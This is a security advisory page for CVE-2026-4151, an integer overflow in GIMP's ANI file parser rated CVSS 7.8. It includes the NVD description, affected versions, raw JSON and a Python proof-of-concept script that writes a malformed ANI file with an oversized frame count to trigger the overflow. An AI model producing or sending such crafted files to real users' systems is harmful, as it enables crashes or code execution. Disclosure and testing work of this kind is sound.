Security Vulnerability Report
中文
CVE-2026-4151 CVSS 7.8 HIGH

CVE-2026-4151

Published: 2026-04-11 01:16:17
Last Modified: 2026-04-14 19:32:53

Description

GIMP ANI File Parsing Integer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GIMP. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of ANI files. The issue results from the lack of proper validation of user-supplied data, which can result in an integer overflow before allocating a buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-28813.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:gimp:gimp:3.0.8:*:*:*:*:*:*:* - VULNERABLE
GIMP (具体受影响版本请参考官方GitLab提交09e5459de913172fc51da3bd6b6adc533acd368e)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import struct # PoC for CVE-2026-4151 # This script generates a malformed ANI file designed to trigger an integer overflow # in GIMP's buffer allocation logic. def generate_malicious_ani(filename): # ANI header structure riff = b'RIFF' # File size (placeholder) size = struct.pack('<I', 0) ac = b'ACON' # LIST header for info list_info = b'LIST' list_info_size = struct.pack('<I', 4) inam = b'INAM' # anih chunk (Animation Header) anih_tag = b'anih' anih_size = struct.pack('<I', 36) # The critical part: setting cFrames to a large number to trigger overflow # during buffer size calculation (e.g., cFrames * sizeof(struct)) cbSizeOf = 36 cFrames = 0x41424344 # Malicious large value cSteps = 1 cxWidth = 32 cyHeight = 32 cBitCount = 24 cPlanes = 1 jiffRate = 1 flags = 1 anih_data = struct.pack('<IIIIIIIIII', cbSizeOf, cFrames, cSteps, cxWidth, cyHeight, cBitCount, cPlanes, jiffRate, flags, 0) # Construct file with open(filename, 'wb') as f: f.write(riff + size + ac) f.write(list_info + list_info_size + inam) f.write(anih_tag + anih_size + anih_data) generate_malicious_ani('exploit_ani.ani')

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4151", "sourceIdentifier": "[email protected]", "published": "2026-04-11T01:16:16.697", "lastModified": "2026-04-14T19:32:53.477", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GIMP ANI File Parsing Integer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GIMP. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of ANI files. The issue results from the lack of proper validation of user-supplied data, which can result in an integer overflow before allocating a buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-28813."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-190"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gimp:gimp:3.0.8:*:*:*:*:*:*:*", "matchCriteriaId": "0866C0EF-59AE-4AB9-8D0F-7C75CD20F77E"}]}]}], "references": [{"url": "https://gitlab.gnome.org/GNOME/gimp/-/commit/09e5459de913172fc51da3bd6b6adc533acd368e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-218/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}